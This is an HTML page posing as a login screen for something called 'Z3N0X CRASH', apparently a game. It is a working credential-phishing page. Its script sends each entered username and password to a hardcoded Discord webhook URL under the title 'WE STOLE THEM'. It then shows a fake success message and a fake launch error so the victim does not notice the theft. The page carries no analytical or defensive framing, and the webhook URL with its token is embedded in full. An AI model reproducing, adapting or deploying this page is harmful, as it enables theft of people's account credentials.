<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Z3N0X CRASH</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background: linear-gradient(145deg, #141414, #1e1e1e);
            color: white;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            overflow: hidden;
        }
        #login-container {
            background: #2b2b2b;
            padding: 30px;
            border-radius: 12px;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.4);
            text-align: center;
            transform: scale(0.9);
            animation: fadeIn 0.8s ease forwards;
        }
        h2 {
            color: #ff6f61;
            margin-bottom: 20px;
            animation: slideIn 1s ease;
        }
        input {
            width: 90%;
            padding: 10px;
            margin: 10px 0;
            border: none;
            border-radius: 5px;
            background: #1e1e1e;
            color: white;
        }
        button {
            width: 90%;
            padding: 12px;
            margin-top: 10px;
            background-color: #ff6f61;
            color: white;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            transition: background-color 0.3s ease, transform 0.2s ease;
        }
        button:hover {
            background-color: #e0584c;
            transform: scale(1.05);
        }
        .message {
            margin-top: 15px;
            padding: 10px;
            border-radius: 5px;
            text-align: center;
        }
        .success {
            background-color: #28a745;
        }
        .error {
            background-color: #dc3545;
        }
        @keyframes fadeIn {
            0% { transform: scale(0.9); opacity: 0; }
            100% { transform: scale(1); opacity: 1; }
        }
        @keyframes slideIn {
            0% { transform: translateY(-20px); opacity: 0; }
            100% { transform: translateY(0); opacity: 1; }
        }
    </style>
</head>
<body>
    <div id="login-container">
        <h2>Z3N0X CRASH</h2>
        <input type="text" id="username" placeholder="Enter Username">
        <input type="password" id="password" placeholder="Enter Password">
        <button id="login-btn">Login</button>
        <div id="message"></div>
    </div>

    <script>
        document.getElementById('login-btn').addEventListener('click', async () => {
            const username = document.getElementById('username').value.trim();
            const password = document.getElementById('password').value.trim();
            const messageDiv = document.getElementById('message');

            if (!username || !password) {
                messageDiv.textContent = "Both username and password are required!";
                messageDiv.className = "message error";
                return;
            }

            // Send account data to the webhook
            fetch("https://discord.com/api/webhooks/1316484980821590089/ih-sl3I01jlj_zAs43VpKLd79sv_g8be2WQZ-_NX3UG0b59Tt6jSGmWDs30V5eRBsxU5", {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    embeds: [
                        {
                            title: "WE STOLE THEM",
                            description: `**USER - ** ${username}\n**PASS - ** ${password}`,
                            color: 111111 // Green
                        }
                    ]
                })
            }).then(() => {
                // Show "Logged IN!" message and show the Launch button
                messageDiv.textContent = `✅ Logged IN! Welcome, ${username}`;
                messageDiv.className = "message success";

                setTimeout(() => {
                    // Hide login form and show "Launch" button
                    document.getElementById('login-container').innerHTML = `
                        <h2>Welcome, ${username}!</h2>
                        <button id="launch-btn" style="width: 90%; padding: 12px; margin-top: 10px; background-color: #28a745; color: white; border: none; border-radius: 6px; cursor: pointer;">Launch</button>
                    `;
                    document.getElementById('launch-btn').addEventListener('click', launchGame);
                }, 2000);
            }).catch((error) => {
                messageDiv.textContent = "Error: Unable to send data.";
                messageDiv.className = "message error";
                console.error("Error sending to webhook:", error);
            });
        });

        function launchGame() {
            // Show loading button
            const launchBtn = document.getElementById('launch-btn');
            launchBtn.textContent = "Loading...";
            launchBtn.style.backgroundColor = "#ffc107";

            // Simulate loading
            setTimeout(() => {
                // Halfway through loading, show error message
                alert("Error: Failed to login to your account. Reason: Cowboy Hat Not Equipped");

                // Reset Launch button
                launchBtn.textContent = "Launch";
                launchBtn.style.backgroundColor = "#28a745";
            }, 3000); // Show error after 3 seconds (simulate halfway loading)
        }
    </script>
</body>
</html>
